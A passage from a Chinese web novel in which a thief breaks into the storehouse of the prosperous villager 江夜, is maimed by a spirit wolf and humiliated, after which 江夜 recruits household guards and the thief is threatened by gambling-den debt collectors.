江峰连吃了好几口,才借着一口酒的功夫缓过劲来。
他放下筷子,看着江夜,眼眶有些发红,声音带着一丝感慨:“小夜……哥这辈子,做梦都没想到,能在这大冬天里,吃上这么一口鲜亮亮的青菜……这日子,真是……真是……”
他“真是”了半天,也找不到合适的词来形容,最后只能重重地吐出两个字:“舒坦!”
江夜淡然一笑,给江峰满上酒。
“喜欢就多吃点,都是自家种的。”他顿了顿,又看向旁边正细心给琼琼擦嘴的王慧慧,“嫂子,等会儿走的时候,我让雪儿给你们装一篮子带回去,给琼琼留着吃。”
王慧慧和江峰闻言,都是一愣。
随即,巨大的惊喜涌上心头。
“这……这怎么好意思!”王慧慧连忙摆手,嘴上客气着,眼睛却忍不住往那几盆水灵灵的青菜上瞟。
“拿着吧,”江夜的语气不容置疑,“一家人,说这些就见外了。”
江峰看着弟弟,心中暖流涌动,他没再多说什么,只是端起酒杯,重重地一点头,将杯中酒一饮而尽。
……
与江家院落里温暖如春、香气四溢的景象截然不同。
村东头,王大虎家的破屋里,冰冷刺骨。
他和狐朋**刘多宝两人,正围着一个早已熄灭、只剩灰烬的炭盆,冻得嘴唇发紫,瑟瑟发抖。
江家火锅那霸道绝伦的香气,仿佛长了脚,丝丝缕缕地钻进他们的鼻腔,像一只只无形的小手,无情地抓挠着他们饥饿的肠胃和被嫉妒烧灼的神经。
“咕嘟……咕嘟……”
刘多宝的喉头疯狂滚动,肚子不争气地叫得比什么都响。他猛地吸了吸鼻子,满脸都是藏不住的羡慕和嫉妒。
“**,这江夜家是天天在过年啊!这香味,怕是把整头牛都给炖了吧?”他咂了咂嘴,又看了一眼旁边脸色阴沉的王大虎,眼珠子一转,凑了过去。
“虎哥,要我说啊,还是你那嫂子林间雪有福气。你看,这才去了江夜家多久,就吃香的喝辣的,穿金戴银了。”
说着,刘多宝话锋一转,声音压得更低了,带着一丝不怀好意的挑拨。
“可她这福是享了,却把你这个小叔子和婆婆给忘得一干二净。按理说,她如今发了财,怎么也该拿点回来孝敬孝敬你们不是?”
王大虎本就因为这勾魂的肉香和刺骨的寒冷而心烦意乱,此刻听到刘多宝这番话,那张蜡黄的脸瞬间扭曲起来。
“孝敬?哼!”他从牙缝里挤出一声冷笑,眼中满是怨毒,“那个**!丧门星!白眼狼!她不咒着我们死就不错了!还指望她孝敬?”
他嘴里用最恶毒的语言咒骂着,脑子里却不受控制地浮现出江家那满桌子肉片,那热气腾腾的铜锅,还有那几个仙女似的女人……
强烈的嫉妒与贪婪,在他心中疯狂撕咬。
凭什么?
凭什么他江夜能左拥右抱,大口吃肉?而自己却要在这里挨饿受冻?
凭什么那个本该**的扫把星,如今却能过上神仙日子?
越想,他眼中的血丝就越多,呼吸也变得粗重起来。
一个疯狂而恶毒的念头,如同毒草般猛然从心底滋生,并迅速占据了他的整个大脑。
去偷!
对!去偷!
江夜家那么多好东西,随便偷点出来,就够自己过个肥年
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了!
这个念头一出现,就再也无法遏制。
王大虎的眼神变得无比阴狠,他舔了舔干裂的嘴唇,压低声音看向刘多宝。
“多宝,想不想发笔财?”
刘多宝一愣,随即眼睛亮了:“虎哥,你有路子?”
王大虎阴恻恻地一笑,下巴朝着江夜家的方向抬了抬:“路子不就在那儿吗?江夜家院子里挂的肉干,少说也有几百斤,还有那神仙喝的酒,随便弄点出来,咱们下半辈子都不愁了。趁着今晚风雪大,咱们摸进去干一票!”
刘多宝脸上的兴奋瞬间凝固,取而代之的是极致的恐惧。他哆嗦了一下,脑袋摇得像拨浪鼓。
“不……不行啊虎哥!那可是江夜!他……他会**的!你忘了你的手是怎么断的了?”
王大虎眼中闪过一丝鄙夷,一脚踹在刘多宝屁股上:“瞧你那点出息!废物!”
他一把揪住刘多宝的衣领,将脸凑过去,恶狠狠地低吼:“老子自己去!你给我在家待着,要是敢**乱说一个字,老子先打断你另一条腿!听见没?”
刘多宝被他眼里的凶光吓得魂飞魄散,小鸡啄米似的疯狂点头。
……
深夜,风雪更甚,鹅毛般的大雪铺天盖地,整个稻花村万籁俱寂,都陷入了沉睡。
一道黑影,如同一只肮脏的老鼠,鬼鬼祟祟地从王家破屋里窜了出来。
正是王大虎。
他裹紧身上那件破烂的棉袄,缩着脖子,在没过脚踝的积雪里深一脚浅一脚地跋涉,借着微弱的雪光,很快就摸到了江夜家高大的后墙下。
四周死一般的寂静,只有“呼呼”的风雪声,像是鬼哭。
他心脏“怦怦”狂跳,一半是做贼心虚的紧张,另一半,则是对即将到手的财物抑制不住的兴奋与贪婪。
他将耳朵贴在冰冷的墙根上,屏住呼吸听了半天,确认院内毫无动静,才长长舒了口气。
他搓了搓冻僵的手,手脚并用地开始往墙上爬。这墙又高又滑,他动作笨拙,几次都滑了下来,好不容易才扒住墙头,吃力地翻了上去。
就在这细微的声响发出的瞬间。
院子角落,一处避风的阴影里,正蜷缩着打盹的团子,那对毛茸茸的耳朵猛地一动。
下一秒,它瞬间睁开了那双充满灵性的眼睛,死死锁定了那个伏在墙头上,鬼鬼祟祟的黑影。
第117章 瓮中之鳖
温暖的卧房内,巨大的火炕散发着持续的暖意,宛如另一个春天。
江夜躺在柔软的被褥间,左拥右抱,鼻尖满是女子醉人的馨香。
就在他将睡未睡,意识朦胧之际,眉头微不可查地一动。
“主人,有贼!要咬他吗?”
团子那带着一丝兴奋,又有些跃跃欲试的焦急意念,在他脑中清晰无比地响起。
江夜缓缓睁开双眼,原本带着几分慵懒的眸子里,瞬间一片冰冷,不起半点波澜。他嘴角却勾起一抹玩味的弧度,像一只猫,在暗中窥视着一只自投罗网的蠢老鼠。
他通过意念,平静地安抚着角落里已经进入戒备状态的团子。
“别动,让他进来。我倒要看看,他想干什么。”
“嗷呜!”
团子收到指令,在脑海里欢快地应了一声。它眼中的凶光瞬间隐去,甚至还懒洋洋地打了个哈欠,调整了一下蜷缩的姿势,仿佛真的睡着了一般。整个身子如同一块不起眼的影子,彻底融入墙角的黑暗。
院墙外,王大虎手脚并用,好不容易才扒住湿滑的墙头。他喘着粗气,将自己肥胖的身躯吃力地翻了过去,然后“噗通”一声,笨拙地摔在厚厚的积雪里。
雪很深,也很软,他没摔疼。
王大虎紧张地趴在雪地里,像条死狗一样半天没敢动弹,一双贼眼惊恐地四下张望。
四周静悄悄的,只有风雪刮过屋檐的“呼呼”声。远处的卧房窗纸透出昏黄的灯光,但里面毫无动静。
他这才长长舒了口气,从雪地里爬起来,拍了拍身上的雪,心中暗骂自己真是胆小如鼠。
不就是个走了狗屎运的泥腿子吗?有什么好怕的!
卧房内,江夜的动作轻柔无比。
他小心翼翼地将自己的胳膊从白梦夏的脖颈下抽出,又为身旁睡颜香甜、嘴角还挂着一丝满足笑意的林间雪掖好被角。
他如鬼魅般悄无声息地下了炕,连一丝风都未带起。
他披上外衣,来到窗边轻轻推开了一条小缝,冷冷注视着院中那个正在东张西望的笨贼。
王大虎做贼心虚,又在雪地里趴了半晌,确认真的没人发现,胆子顿时肥了起来。
他搓了搓冻得通红的双手,哈出一口白气,贪婪的目光开始在院子里逡巡。
确定了位置后,他蹑手蹑脚,目标明确,直奔那个存放肉干和粮食的仓库。
到了门前,他从怀里摸出一片不知从哪儿弄来的薄铁片,对着那简陋的铜锁捅咕起来。他以前跟着赌场里的老贼学过几手,三两下之后,只听“咔哒”一声轻响,锁开了。
王大虎脸上立刻露出一个黄牙交错的得意笑容,贼头贼脑地探头进去,确认安全后,整个身子才闪了进去。
门开的瞬间,一股几乎要凝成实质的浓郁肉香,混合着粮食特有的醇厚清香,轰然扑面而来。
这股味道瞬间冲进王大虎的鼻腔,他精神猛地一振,一双本就浑浊的眼睛,“唰”的一下就红了。
借着从门缝透进的微弱雪光,他看清了仓库内的景象。
那一瞬间,他的呼吸停滞了。
昏暗的仓库里,房梁上、墙壁上,密密麻麻挂满了熏得油光发亮的肉条,一条条,一串串,像是一片肉的森林。而在墙角,一袋袋鼓鼓囊囊的粮食堆成了小山,旁边还码放着几个陶罐,隐约有酒香从中溢出。
王大虎的喉咙里发出野兽般的粗重喘息,胸膛剧烈起伏。
他死死盯着眼前的一切,极致的贪婪与嫉妒,让他的脸庞都开始扭曲。
“**江夜!凭什么!凭什么他能过这种神仙日子!”
他低声咒骂着,声音因为嫉妒而嘶哑变形。
他从怀里掏出早就准备好的巨**袋,不再压抑自己的动作,动作粗暴地冲到墙边,一把又一把地将那些肉条疯狂地扯下来,塞进麻袋里。
那不是在拿,更像是在发泄。
装了半袋肉,他又扑到粮食堆旁,解开袋子,用手一捧一捧地将金黄的粟米往自己的麻袋里装,动作急切而疯狂。
麻袋很快被装得鼓鼓囊囊,几乎要撑破。
王大虎费力地将袋口扎紧,试着扛了一下,那沉甸甸的分量让他一个趔趄,差点摔倒。但这重量非但没让他害怕,反而让他脸上露出了扭曲又得意的狞笑。
发了!这次真的发了!
就这一袋子东西,够他吃香喝辣大半年,还能去赌场里好好威风几把!
他喘着粗气,看着这鼓囊囊的麻袋,又回头看了一眼似乎丝毫未减的肉干和粮食,轻蔑地啐了一口。
“蠢货!真是个蠢货!守着这么大座金山,连个像样的锁都没有……活该被老子偷!这都是你欠老子的!”
他扛着沉重的麻袋,志得意满地转身,准备离开这个让他嫉妒到发疯的地方。
他的脑子里已经开始疯狂幻想,自己大口吃肉大口喝酒的场景,脸上满是对美好生活的狂想。
卧房内,江夜透过窗缝,将王大虎那副小人得志的丑恶嘴脸尽收眼底。那张因贪婪和嫉妒而扭曲的脸,在雪光的映照下,显得格外丑陋。
江夜的眼神冰冷如万年寒冰
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,只有一丝淡淡的杀机一闪而逝。
对这种不知死活的蝼蚁,杀了他,只会脏了自己的手。
他意念一动,一道冰冷的指令,精准地传达到了院角阴影中的团子脑海里。
“动手,废了他那条不该踏进来的腿!”
“嗷呜!”
团子在脑海里发出一声压抑着兴奋的低吼,四肢肌肉瞬间绷紧,如同一张拉满的强弓。
就在王大虎扛着鼓囊囊的麻袋,满心欢喜,一只脚刚刚踏出仓库门口的瞬间。
一道银色的闪电,无声无息地从墙角的黑暗中爆射而出!
王大虎只觉腿弯处猛地一凉,仿佛被冬日里最锋利的冰凌狠狠扎了一下。
紧接着,一股无法形容的剧痛,在他的小腿肚上轰然引爆!那股剧痛沿着神经瞬间冲上大脑,让他整个人都懵了。
“啊——!”
一声夹杂着极致痛苦与惊恐的杀猪惨嚎,凄厉地划破了寂静的雪夜,穿透了呼啸的风雪,惊得远处山林中无数宿鸟扑棱棱飞起。
剧痛攻心,王大虎的身体瞬间失去平衡,他扛在肩上的沉重麻袋也随之滑落。
“砰!”
他整个人被麻袋带着,重重地摔在雪地里,溅起一片雪花。
“狼!有狼啊!救命!”
他脑子里只剩下这一个念头,求生的本能让他开始疯狂地挣扎,手脚并用地想把那只咬住他腿的畜生踹开。
团子感受到他的挣扎,那双充满灵性的兽瞳中,凶光大盛。
它喉咙里发出一声低沉的咆哮,咬合力陡然加大了数倍!
“咔嚓!”
一声清脆得令人牙酸的骨裂声,在寂静的雪夜里清晰可闻。
“啊啊啊啊——!”
王大虎的惨叫声瞬间变了调,变得更加凄厉,更加绝望。
他抱着自己那条以诡异角度弯曲的小腿,在冰冷的雪地里疯狂地翻滚、抽搐,像一条被扔上岸的濒死之鱼。
腥臭的尿液瞬间浸湿了他的裤裆,温热的液体在冰冷的雪地里冒出丝丝白气。
鼻涕、眼泪、口水混杂在一起,糊满了那张因极致的痛苦和恐惧而扭曲到不成人形的脸。
他彻底崩溃了。
前一刻还在幻想中的荣华富贵、美酒女人,在这一刻尽数化为泡影。
剩下的,只有刺入骨髓的剧痛,和那只银狼冰冷无情,宛如在看一个死物的眼神。
“别……别杀我……我错了……我再也不敢了……”
王大虎涕泪横流,语无伦次地求饶,身体却因为剧痛和恐惧,不受控制地剧烈抽搐着。
第118章 杀鸡儆猴
“怎么了?”
屋内白梦夏最先惊醒,猛地坐起身,睡意惺忪的脸上满是惊惶。
身旁的白梦秋和林间雪也跟着被吓醒,瑟缩着抓紧了被子,美眸中满是恐惧。
慕容晴反应最快,一个翻身就已坐起,眼神锐利地望向门外,身上瞬间带上了几分煞气。
“别怕,没事。”
一道平静的声音从窗边传来。
四女循声望去,只见江夜不知何时已经披衣起身,正静静地站在窗边。
“一只老鼠钻进来了,我去处理一下。”
他示意她们安心,随即转身,神情冰冷地推门而出。
门开的瞬间,一股夹杂着血腥与骚臭的寒风倒灌进来。
院中雪地上,王大虎抱着自己那条诡异扭曲的小腿,在雪地里哀嚎,脸色惨白如纸,浑身剧烈地抽搐着。
而在他身旁,那个装得鼓鼓囊囊的麻袋倒在地上,金黄的粟米和油亮的肉干散落一地,与雪地里的血污混杂在一起,显得格外讽刺。
团子死死咬着他的腿骨,喉咙里发出令人心悸的低沉嘶吼,一双平日里灵动狡黠的兽瞳,此刻凶光毕露。
看到江夜从屋里走出来,王大虎仿佛抓住了唯一的救命稻草,眼中爆发出强烈的求生欲。
他顾不上腿上的剧痛,朝着江夜的方向伸出手,涕泪横流。
“江夜!江夜兄弟!我错了!我不是人!我再也不敢了!求求你,求求你让它松口……饶我一条狗命吧!”
他的声音嘶哑破碎,每一个字都带着极致的恐惧与痛苦。
江夜居高临下地看着他,眼神如同在看一只肮脏的蝼蚁,不含一丝一毫的温度。
他没有说话,也没有让团子松口,只是静静地站在廊下,任由王大虎在无尽的痛苦与恐惧中煎熬,任由那凄厉的惨嚎声,成为这寂静雪夜里唯一的伴奏。
每一秒,对王大虎来说,都像是被架在火上反复炙烤了一个世纪。
这比直接杀了他,还要残忍百倍。
“出什么事了?”
“好像是江夜家传出来的声音!”
这边的动静终究是太大了,寂静的稻花村被彻底惊醒,一盏盏昏黄的油灯在黑暗中亮起。
很快,无数村民顶着风雪,深一脚浅一脚地朝着江夜家涌来,每个人的脸上都带着惊疑和不安。
江峰和王慧慧离得最近,几乎是第一个赶到的。
当他们推开虚掩的院门,看到院中的景象时,夫妻俩集体懵逼,大脑一片空白。
雪地里的血,哀嚎抽搐的王大虎,凶光毕露的银狼,还有散落一地的粮食和肉干……
这一切组合在一起,冲击力实在太强。
江峰的目光从王大虎那条断腿上移开,落在了雪地里那些混着血污的粟米上。当他看清那是什么时,那张憨厚的脸瞬间涨得通红,眼中怒火喷涌。
他明白过来了。
这个畜生,是来偷东西的!
一股难以遏制的怒火直冲头顶。
“畜生!你这个畜生!”
江峰双目赤红,指着雪地里蠕动的王大虎,气得浑身发抖。
王慧慧则是吓得脸色发白,紧紧抓着丈夫的胳膊,看着雪地里的血,胃里一阵翻江倒海。
随着江峰夫妻俩的到来,原本虚掩的院门被彻底推开。越来越多的村民顶着风雪涌了进来,当他们看清院子里的景象时,嘈杂的议论声瞬间炸开了锅。
“天爷啊!那不是王大虎吗?”
“他……他那腿是怎么了?我的娘,好像断了!”
“你们看地上!那麻袋里是肉干和粮食!这个挨千刀的,是来江夜家当贼的!”
“活该!偷东西偷到江夜兄弟头上,真是老寿星上吊,嫌命长了!”
鄙夷、唾弃、幸灾乐祸的议论声此起彼伏,一道道目光如同利剑,齐刷刷地刺在雪地里那个不断抽搐的身影上。这种人,**都不值得可怜。
而人群中,一个身影却抖得像秋风里的落叶。
刘多宝也听到了动静,混在人群里过来看热闹,当他挤开人群,看到王大虎那条扭曲成诡异角度的小腿,和那只眼神凶狠的银狼时,只觉得一股寒气从脚底板直冲天灵盖。
冷汗“唰”的一下浸透了后背的破棉袄。
他脑子里一片空白,只剩下无尽的后怕与庆幸。
幸好……幸好自己胆小没跟着来!
否则现在像条死狗一样躺在雪地里,被那头畜生咬断腿的人,就是他刘多宝了!
他看着不远处廊下那个如同魔神般冷漠的身影,吓得魂飞魄散,连滚带爬地缩回人群后面,再也不敢多看一眼。
就在这片嘈杂之中,一声比王大虎的惨叫还要凄厉的嚎叫,猛地从人群外传来。
“我的儿啊!”
刘巧嘴像个疯子一样,披头散发地从人群中冲了出来,一头撞进院子。
当她看到自己儿子那副半死不活的惨状时,只觉得眼前一黑,差点直接晕厥过去。
但对儿子的担忧终
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究是战胜了恐惧,她稳住身形,没有去看那只凶狠的银狼,也没有去看周围村民鄙夷的目光,而是“扑通”一声,直挺挺地跪在了江夜面前。
“咚!咚!咚!”
她什么话都没说,只是疯狂地对着江夜磕头。
额头与地面碰撞,发出沉闷的声响,不过几下,鲜血就顺着她的额角流了下来,与地上的雪水混在一起,触目惊心。
“江夜兄弟!江夜大爷!我错了!是我们王家错了!”
刘巧嘴一边磕头,一边哭得一把鼻涕一把泪,声音嘶哑,再也不见平日半分的尖酸刻薄,只剩下最卑微的哀求。
“是我没教好这个畜生!他猪油蒙了心,他不是人!求您大人有大量,高抬贵手,饶了他这条狗命吧!他还年轻啊!求求您了!”
她一边哭嚎,一边狠狠地扇着自己的耳光,左右开弓,打得“啪啪”作响。那副丑态百出的模样,让围观的村民都忍不住露出了鄙夷的神色。
江夜看着脚下这个彻底失了魂的女人,又扫了一眼院外那些噤若寒蝉的村民,知道自己想要的效果,已经达到了。
对于这种人,杀了他们,只会脏了自己的手。
让他们在全村人面前丢尽脸面,让他们像过街老鼠一样,永远活在恐惧和羞辱里,才是对他们最好的惩罚。
他意念微动,给角落里的团子下达了指令。
团子立刻松开了嘴,嫌弃地甩了甩头,将嘴上的血污蹭在雪地里,悄无声息地退回了墙角的阴影中。
江夜居高临下,冷漠地看着脚下还在磕头的刘巧嘴,薄唇轻启,冰冷地吐出一个字。
“滚。”
这一个字,不带任何情绪,却仿佛带着无上的威严。
刘巧嘴如闻天籁,眼中爆发出狂喜的光芒,连连点头。
“滚!我们马上滚!多谢江夜大爷!多谢江夜大爷不杀之恩!”
她手脚并用地从地上爬起来,也顾不上自己额头的伤,手忙脚乱地去搀扶地上那滩烂泥一样的王大虎。
她一个妇道人家,哪里拖得动一个成年男人,连拖带拽,几次都摔倒在雪地里,弄得自己也满身血污,狼狈不堪。
周围的村民没有一个上前帮忙,所有人都冷眼旁观,看着这对母子,眼神里满是鄙夷与厌恶。
最终,刘巧嘴几乎是半拖半抱着,将昏死过去的王大虎一点点拖出了院门,在村民们鄙夷的目光中,像两条丧家之犬,消失在茫茫的风雪夜色里。
第119章 招募护院
风雪渐歇,人潮退去。
方才还喧闹无比的院子,转瞬间便恢复了死一般的寂静,只剩下风雪刮过屋檐的呼啸,和雪地里那一滩被踩得凌乱、又被新雪浅浅覆盖的血污。
空气中,血的腥气混合着王大虎留下的骚臭,被寒风一卷,很快便消散在了寒夜中。
江夜关上院门,将外界的喧嚣与寒冷彻底隔绝。
一转身,就对上四双惊魂未定的眼睛。
屋内温暖如春,白梦夏、白梦秋和林间雪三女却披着厚厚的外衣,挤在门边,小脸一个比一个白,显然是被刚才血腥野蛮的一幕吓得不轻。慕容晴站在她们身侧,秀眉紧蹙,美艳的脸上不见惧色,只有一片凝重。
当江夜的目光扫过,林间雪的身体猛地一颤,她看着地上散落的粮食和肉干,又看到那滩刺眼的血,俏脸瞬间血色尽褪。
“都怪我……是我……是我给主人招来了祸事……”
她眼眶一红,豆大的泪珠滚滚而下,声音里带着浓浓的哭腔和自责,仿佛万恶之源就是她自己。
江夜脸上的冰冷瞬间消融,大步上前,抬手轻轻擦去她脸颊的泪水,声音是与方才判若两人的温柔。
“胡说什么?跟你没关系。”
他看着林间雪那双满是愧疚的眸子,语气不容置喙:“是人心里的贪婪在作祟,就算没有你,也会有别人。饿狼盯上的从来不是某一块肉,而是整个羊圈。”
说着,他环视一圈,看着同样心有余悸的白家姐妹,放柔了声音。
“好了,都别站着了,一只不知死活的老鼠罢了,已经打发了。”
他半推半哄,将四女一一劝回温暖的卧房,重新塞进暖融融的被窝里。
“快睡吧,天塌下来有我顶着。”
他的声音不大,却带着一种让人心安的魔力。
白梦夏和白梦秋看着他,眼中的惊惧慢慢被依赖与安心取代。林间雪更是蜷在被子里,泪眼婆娑地望着他,那眼神里的崇拜与依恋,几乎要溢出来。
江夜将她们一一哄睡,却再无半点睡意。
他走出了卧室,静静地站在廊下,任由冰冷的寒风吹拂着脸颊。
院子里的血迹已经被新雪浅浅覆盖,可那股血腥味却仿佛钻进了骨子里。
今天来的是一个王大虎,凭团子的本事,足以应付。
可明天呢?
随着他的财富不断积累,觊觎之人,只会像闻到血腥味的鲨鱼一样,从四面八方涌来。
到时来的,可能就不是一个王大虎,而是一群,甚至是一整伙山匪。
靠他一个人,固然能杀出一条血路,可屋里的女人和未出世的孩子们呢?他护得了一个,护得了一时,能护得了一世吗?
财富,必须有足够的力量来守护。
江夜看着远处被风雪笼罩的黑暗山峦,眼神变得前所未有的深邃。他意识到,必须尽快建立一支只属于自己的力量。
……
第二日,清晨。
风雪停歇,久违的冬日暖阳刺破云层,将整个稻花村照得一片雪亮。
院子里那滩血迹,已被一夜的新雪彻底掩埋,仿佛昨夜那场惊心动魄的血腥冲突,只是一场噩梦。
可那份萦绕在心头的惊悸,却没那么容易消散。
饭桌上,气氛有些沉闷。
白梦夏和白梦秋都有些心事重重,小口小口地喝着粥,时不时走神。林间雪更是低着头,连看都不敢看江夜一眼,似乎还沉浸在昨夜的自责中。
江夜将一切看在眼里,也没多说什么。
饭后,他一反常态,没有去侍弄他的那些宝贝,而是让林间雪收拾了碗筷,将桌子擦得干干净净。
随即,在四女好奇的目光中,他从房里拿出许久未用的笔墨纸砚,在桌上缓缓铺开。
研磨,润笔。
四女都围了过来,好奇地看着他。
只见江夜手腕微沉,笔走龙蛇,一个个苍劲有力的大字,跃然纸上。
他的字,就像他的人一样,锋
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芒毕露,带着一股不容置疑的霸道。
白梦夏姐妹出身官宦,是识字的,慕容晴也粗通文墨。她们凑上前,一字一句地念了出来。
“招募护院。”
“月钱……五两!”
当白梦秋念到这个数字时,忍不住惊呼出声,一双美眸瞪得溜圆。
五两银子一个月!
这简直是天价!要知道,寻常农户一年到头,辛辛苦苦,能攒下五两银子都算是丰年了。江夜这里,一个月的工钱,就顶得上别人家一年的嚼用!
这要是传出去,整个稻花村,不,是方圆百里的青壮年都要疯了!
然而,更让她们心惊的,是后面的内容。
“管吃住,凡入选者,需签……死契!”
“死契”二字,重如千钧。
这意味着,一旦签下这份契约,这条命,就彻底卖给江家了。生杀予夺,全在主人一念之间。
这是最严苛,也是最没有人身自由的契约。
四女一时间都愣住了。
但仅仅是片刻的惊愕之后,她们瞬间明白了江夜的用意。
昨夜的恐惧与不安,在看到这张告示的瞬间,仿佛找到了宣泄口,尽数化为一种前所未有的踏实与安稳。
家,需要守护。
而江夜,正在用最直接的方式,为这个家,筑起一道坚不可摧的城墙!
白梦夏看着江夜认真的侧脸,眼中的柔情几乎要化成水。
自己的男人,想得永远比她们更远。
林间雪也抬起了头,她看着那张告示,小手不自觉地攥紧了衣角。她知道,主人这么做,是为了保护这个家,保护家里的每一个人,也包括她这个“不祥”之人。
一股暖流,在她心中激荡,将昨夜残留的最后一丝阴霾,彻底冲散。
江夜写完最后一个字,轻轻吹干墨迹,看着众女脸上各异的神情,微微一笑。
“从今天起,谁敢再踏进这个院子撒野,就得先问问我江家的刀,利不利!”
第120章 我要的是兄弟,不是牛马
江夜话音刚落,院门就被人“咚咚咚”地敲响了。
声音不大,带着几分小心翼翼的试探。
众人循声望去,只见王囤提着一个半旧的竹篮,有些局促地站在门口。
“江夜兄弟,我……我就是来谢谢你的。”
“上次的神酒……我娘的腿彻底好了,家里也没啥好东西,这点心意你千万别嫌弃。”
他走进来,将篮子放到石桌上,里面是些自家腌的酸菜和晒干的蘑菇,东西不值钱,却是他家能拿出的最好的谢礼。
江夜笑着上前,自然地接过篮子,“王囤哥,你太客气了。”
王囤憨厚地笑了笑,正要再说些什么,目光却猛地被桌上那张铺开的宣纸吸住。
他虽然识字不多,但“招募护院”四个大字,他还是认得的。
江夜看他神情有异,便解释道:“你也知道昨晚家里出了点事,我打算招些人手看家护院。”
王囤没有回应。
他沉默地看着那张告示,眼神变了又变,最后,那双淳朴的眸子里燃起一团决绝的火焰。
下一秒,在所有人错愕的目光中,王囤双腿一软,“扑通”一声,直挺挺地跪在了江夜面前。
“江夜兄弟!”
他重重一个响头磕在冰冷的青石板上,发出沉闷的声响。
“你给了我王囤新生,给了我娘新生!这份恩情,我这辈子做牛做马都还不清!”
他说着,又是一个响头磕下。
他抬起头,通红的眼眶里满是水光,指着那张告示,声音嘶哑却无比坚定。
“我不要钱!只求你收下我,让我跟在你身边,给你当牛做马,给你看家护院!谁敢动你一根汗**,我王囤第一个跟他拼命!”
他是个嘴笨的人,说不出什么花哨的话,但每一个字,都像是从胸膛里掏出来的,掷地有声。
白梦夏几女看着这一幕,心头皆是一震。她们知道江夜对王囤有恩,却没想到,这份恩情,竟能让一个七尺男儿如此干脆地舍弃尊严,献上性命。
江夜看着脚下这个满脸真诚、眼眶赤红的汉子,心中微暖。
他没有说话,只是上前一步,伸双手用力,将王囤从地上扶了起来。
“王囤哥,你这是干什么。”
江夜的眼神很认真,他拍了拍王囤结实的肩膀,一字一句道:“我要的是能同生共死的兄弟,不是任人打骂的牛马。”
王囤被他扶着,身体还在微微颤抖,愣愣地看着江夜,没明白他这话的意思。
江夜微微一笑,松开手,指着那张告示。
“从今天起,你就是我江家护院队的队长。”
“月钱,十两。”
轰!
王囤只觉得一道天雷在脑子里轰然炸开,整个人都懵了,傻傻地站在原地,以为自己是冻出了幻觉。
队……队长?
月钱……十两?
他这辈子,别说十两,连一两的整银都没摸过!
那是什么概念?足够他娘看最好的大夫,足够他妹妹扯几身新衣裳,足够全家吃一整年的白面馒头!
他不是在做梦吧?
看着王囤那副如遭雷击的傻样,白梦秋忍不住“扑哧”一声笑了出来,屋里凝重的气氛顿时轻松了不少。
王囤被笑声惊醒,他猛地回过神,身体剧烈地颤
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抖起来。
这一次,不是因为害怕,也不是因为那笔他想都不敢想的巨款。
而是因为这份天大的信任,这份足以改变他一生的恩情,像一座山一样,重重地压在了他的心上,砸得他头晕目眩,几乎喘不过气来。
他嘴唇哆嗦着,想说什么,却一个字都挤不出来。
眼泪,毫无征兆地决堤。
这个在山里跟野兽搏斗都不曾皱一下眉头的汉子,此刻哭得像个孩子。
“扑通!”
他再次跪下,这一次,比刚才任何一次都要用力。
“咚!”
“咚!”
“咚!”
他对着江夜,结结实实地磕了三个响头,额头撞在坚硬的青石板上,很快就见了红。
江夜没有再立刻去扶他,他知道,这三个头,若是不让他磕完,这个朴实的汉子心里一辈子都不会安。
等他磕完,江夜才将他拉起来,神情严肃了几分。
“招人的事,就全权交给你了。”
他看着王囤的眼睛,沉声道:“我只有一个要求,招来的人,必须身家清白,人品过硬。我江家,不养奸猾之辈,更不养白眼狼。”
王囤猛地用袖子擦了一把脸上的泪,用力地点头。
江夜的信任,瞬间点燃了他全身的血液。
这一刻,他感觉自己身上充满了前所未有的力量。
“江夜兄弟,你放心!我王囤拿我这条命担保,给你挑出最可靠的汉子!”
说完,他对着江夜重重一抱拳,转身大步流星地走出了院子。
看着他那仿佛脱胎换骨的背影,江夜的嘴角,勾起一抹满意的弧度。
第121章 我嫂子有钱!
与此同时,青石县。
万贯堂赌坊内,人声鼎沸,烟雾缭绕。
污浊的空气里,混杂着汗臭、酒气和劣质熏香,熏得人头昏脑涨。
王大虎就坐在这片疯狂的中心。
他一条腿上胡乱缠着几圈破布,布条下隐隐渗出暗黄色的脓水,正是被团子咬伤的地方。
伤口发炎,让他半边身子都跟着发烫,可他却感觉不到,一双布满血丝的眼睛死死地盯着面前的骰盅,眼底燃烧着病态的狂热。
“开!开!开!快开啊!”他声音嘶哑,仿佛一头濒死的野兽。
荷官面无表情地掀开骰盅。
“一二三,小。”
王大虎眼中的光芒瞬间熄灭,他颓然地瘫倒在椅子上,身上最后几个铜板被庄家无情地扫走。
他不甘心。
就差一点,就差一点点他就能翻本了!
“没钱了?没钱就滚蛋!”身旁的赌客见他输光,不耐烦地推了他一把。
王大虎一个激灵,赤红的眼睛扫过全场,最后落在了角落里一个专门放贷的账房先生身上。他连滚带爬地凑过去,点头哈腰,抵上家里的破屋,又借了二两银子的**。
捏着那沉甸甸的碎银,王大虎感觉自己又活了过来。
他重新挤回赌桌,双眼放光,将所有碎银一把推了上去。
“大!我押大!”
骰盅摇晃,发出清脆的声响,那声音在王大虎听来,如同天籁。
“四五六,大!”
“哈哈哈!赢了!”王大虎状若疯癫,将翻倍的银子死死搂进怀里。
然而,这不过是深渊前回光返照的错觉。
不到一炷香的功夫,那点刚赢回来的银子,连同**的本金,就流水般输了个精光。
“再……再借我点……”王大虎不死心,又想去找账房。
一只铁钳般的大手,猛地揪住了他的后衣领。
“还想借?之前的账结清了吗?”
一个阴冷的笑声在他耳边响起,王大虎浑身一僵,回头便对上一张满是横肉的脸,正是赌坊的打手头头,麻三。
麻三根本不给王大虎开口的机会,手臂一发力,像拖一条死狗一样,将他从喧闹的大堂里拖了出去,径直拽进了弥漫着一股血腥和尿骚味的后院。
“砰”的一声,王大狗被狠狠掼在地上,摔得七荤八素。
几个凶神恶煞的打手围了上来,手中明晃晃的钢刀在昏暗的光线下闪着寒光,将他所有的退路都堵死。
麻三慢悠悠地走到他面前,蹲下身,从靴子里抽出一把短刀。他用刀面不轻不重地拍打着王大虎的脸颊,那冰冷的触感让王大虎的牙齿都在打颤。
“王大虎,我记得你,上个月就在我这借了五两银子,说好七天还,这都快一个月了吧?”麻三的笑容很是和善,但眼神却像在看一块砧板上的肉,“算上这次的二两,本金七两,利滚利,凑个整,二十两。现在,立刻,马上,把钱还了。”
“没……没钱,三爷,我真的没钱……”王大虎吓得魂飞魄散,裤裆一热,竟是直接尿了出来。
“没钱?”麻三脸上的笑容瞬间消失,取而代之的是一片狰狞。他猛地一脚踹在王大虎的胸口,将他踹得倒飞出去,撞在墙上,呕出一口酸水。
“没钱你**还敢来赌?!”麻三上前,一脚踩住王大虎的手,“弟兄们,给我按住他!既然没钱还,就按规矩,剁了这只手抵债!”
